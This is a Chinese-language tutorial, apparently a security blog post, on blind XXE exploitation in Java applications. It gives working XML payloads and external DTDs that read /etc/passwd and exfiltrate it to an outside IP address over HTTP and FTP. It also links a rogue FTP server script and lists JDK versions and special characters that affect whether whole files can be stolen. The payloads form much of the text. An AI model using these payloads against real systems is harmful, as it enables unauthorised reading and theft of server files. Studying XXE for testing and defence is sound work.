xxe無回顯的情況下,正常的讀取無特殊符號文件的時候可以只用常規的file協議來進行讀取
參考文章:https://www.leadroyal.cn/?p=914
參考文章:https://www.t00ls.net/viewthread.php?tid=55662
比如payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
%xd;
]>
<root>&bbbb;</root>
引入的外部dtd內容為如下:
<!ENTITY % aaaa SYSTEM "file:///etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://120.79.66.58/xxe/1.php?file=%aaaa;'>">
%demo;
返回的內容:如果正常的內容是可以的,如果帶有特殊符號的話 可以用http和ftp的帶外傳輸方法
比如ftp的帶外傳輸
payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
%xd;
]>
<root>&bbbb;</root>
外部引入的dtd內容為如下:
<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://120.79.66.58:2121/%aaaa;'>">
%demo;
在讀取的時候還需要架設一個本地的FTP服務器
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
沒有深入的學習過java,這里只說自己遇到xxe無回顯環境的坑
在使用ftp 進行 oob 時,對版本有限制, jdk版本 小於 7u141 和 小於 8u162 才可以讀取整個文件
當FTP 遇到斜杠符號表示cd到子目錄,什么意思呢?
'/' 當遇到該符號的時候,FTP讀取返回的數據就會表示成 'CWD'
總結:
1、所有的【\r】 都會被替換為【\n】
2、如果不包含特殊字符,低版本 ftp 可以讀多行文件,高版本 ftp 只可以讀單行文件,全版本 http 都只可以讀單行文件,所以這里通用的方法就是FTP來進行讀取
3、版本限制是 <7u141 和 <8u162 才可以讀取整個文件
4、如果含有特殊字符 【%】 【&】 會完全出錯
5、如果含有特殊字符 【’】 【”】 可以稍微繞過
6、如果含有特殊字符 【?】,對 http 無影響,對 ftp 會造成截斷
7、如果含有特殊字符【/】, 對 http 無影響,對 ftp 需要額外增加解析的 case
8、如果含有特殊字符【#】,會造成截斷
